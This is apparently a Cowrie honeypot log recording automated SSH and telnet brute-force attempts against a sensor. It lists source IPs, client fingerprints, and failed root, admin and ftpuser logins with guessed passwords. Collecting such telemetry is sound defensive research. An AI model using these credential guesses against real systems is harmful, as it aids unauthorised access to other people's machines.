{"eventid":"cowrie.session.closed","duration":120.0044732093811,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:25.195904Z","src_ip":"128.199.8.54","session":"c126696e9dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52884,"dst_ip":"159.203.135.109","dst_port":22,"session":"9156ab3a4da0","protocol":"ssh","message":"New connection: 103.27.238.114:52884 (159.203.135.109:22) [session: 9156ab3a4da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:26.845222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:26.849448Z","src_ip":"103.27.238.114","session":"9156ab3a4da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:27.127930Z","src_ip":"103.27.238.114","session":"9156ab3a4da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria1","message":"login attempt [root/victoria1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:27.965162Z","src_ip":"103.27.238.114","session":"9156ab3a4da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:29.247105Z","src_ip":"103.27.238.114","session":"9156ab3a4da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33884,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f236f45210","protocol":"ssh","message":"New connection: 27.71.230.31:33884 (10.17.0.5:22) [session: 42f236f45210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:41.425237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:42.410851Z","src_ip":"27.71.230.31","session":"42f236f45210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:42.413957Z","src_ip":"27.71.230.31","session":"42f236f45210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022!","message":"login attempt [root/Admin2022!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:48.097512Z","src_ip":"27.71.230.31","session":"42f236f45210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:49.847875Z","src_ip":"27.71.230.31","session":"42f236f45210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":50626,"dst_ip":"159.203.135.109","dst_port":22,"session":"51e52976dacd","protocol":"ssh","message":"New connection: 217.168.240.63:50626 (159.203.135.109:22) [session: 51e52976dacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:52.708794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:52.712914Z","src_ip":"217.168.240.63","session":"51e52976dacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:52.841822Z","src_ip":"217.168.240.63","session":"51e52976dacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456#","message":"login attempt [admin/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:53.388019Z","src_ip":"217.168.240.63","session":"51e52976dacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:49:54.519010Z","src_ip":"217.168.240.63","session":"51e52976dacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":46088,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c00afad8431","protocol":"ssh","message":"New connection: 38.93.206.2:46088 (159.203.135.109:22) [session: 7c00afad8431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:09.252196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:09.257437Z","src_ip":"38.93.206.2","session":"7c00afad8431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:09.308646Z","src_ip":"38.93.206.2","session":"7c00afad8431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf2001","message":"login attempt [root/ybrbnf2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:09.470720Z","src_ip":"38.93.206.2","session":"7c00afad8431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:10.522770Z","src_ip":"38.93.206.2","session":"7c00afad8431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8585b069b0e","protocol":"telnet","message":"New connection: 172.81.62.90:59352 (159.203.135.109:23) [session: f8585b069b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:50:53.471414Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47054,"dst_ip":"159.203.135.109","dst_port":22,"session":"e649fc07ae7b","protocol":"ssh","message":"New connection: 27.71.230.31:47054 (159.203.135.109:22) [session: e649fc07ae7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:11.374467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:11.789270Z","src_ip":"27.71.230.31","session":"e649fc07ae7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:12.973914Z","src_ip":"27.71.230.31","session":"e649fc07ae7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60504,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd446274a95","protocol":"ssh","message":"New connection: 103.176.20.57:60504 (10.17.0.5:22) [session: 6fd446274a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:14.070701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:14.076294Z","src_ip":"103.176.20.57","session":"6fd446274a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:14.329120Z","src_ip":"103.176.20.57","session":"6fd446274a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vayna123","message":"login attempt [root/vayna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:15.093374Z","src_ip":"103.176.20.57","session":"6fd446274a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:16.347803Z","src_ip":"103.176.20.57","session":"6fd446274a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022!","message":"login attempt [root/Admin2022!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:17.278148Z","src_ip":"27.71.230.31","session":"e649fc07ae7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:19.611579Z","src_ip":"27.71.230.31","session":"e649fc07ae7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":36266,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbd1fcec71ab","protocol":"ssh","message":"New connection: 92.113.145.209:36266 (159.203.135.109:22) [session: bbd1fcec71ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:24.457250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:24.461284Z","src_ip":"92.113.145.209","session":"bbd1fcec71ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:24.628561Z","src_ip":"92.113.145.209","session":"bbd1fcec71ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qazXSW@","message":"login attempt [ftpuser/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:25.246886Z","src_ip":"92.113.145.209","session":"bbd1fcec71ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:26.411999Z","src_ip":"92.113.145.209","session":"bbd1fcec71ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":43962,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed4a4a2c1747","protocol":"ssh","message":"New connection: 101.47.159.125:43962 (159.203.135.109:22) [session: ed4a4a2c1747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:27.744119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:27.748110Z","src_ip":"101.47.159.125","session":"ed4a4a2c1747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:27.994378Z","src_ip":"101.47.159.125","session":"ed4a4a2c1747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M3gaP33!","message":"login attempt [root/M3gaP33!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:29.006655Z","src_ip":"101.47.159.125","session":"ed4a4a2c1747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85959196090698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:29.330887Z","src_ip":"172.81.62.90","session":"f8585b069b0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:30.255731Z","src_ip":"101.47.159.125","session":"ed4a4a2c1747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":56490,"dst_ip":"159.203.135.109","dst_port":22,"session":"769cdae4a42e","protocol":"ssh","message":"New connection: 217.168.240.63:56490 (159.203.135.109:22) [session: 769cdae4a42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:35.994845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:51:35.999544Z","src_ip":"217.168.240.63","session":"769cdae4a42e","protocol":"ssh"}
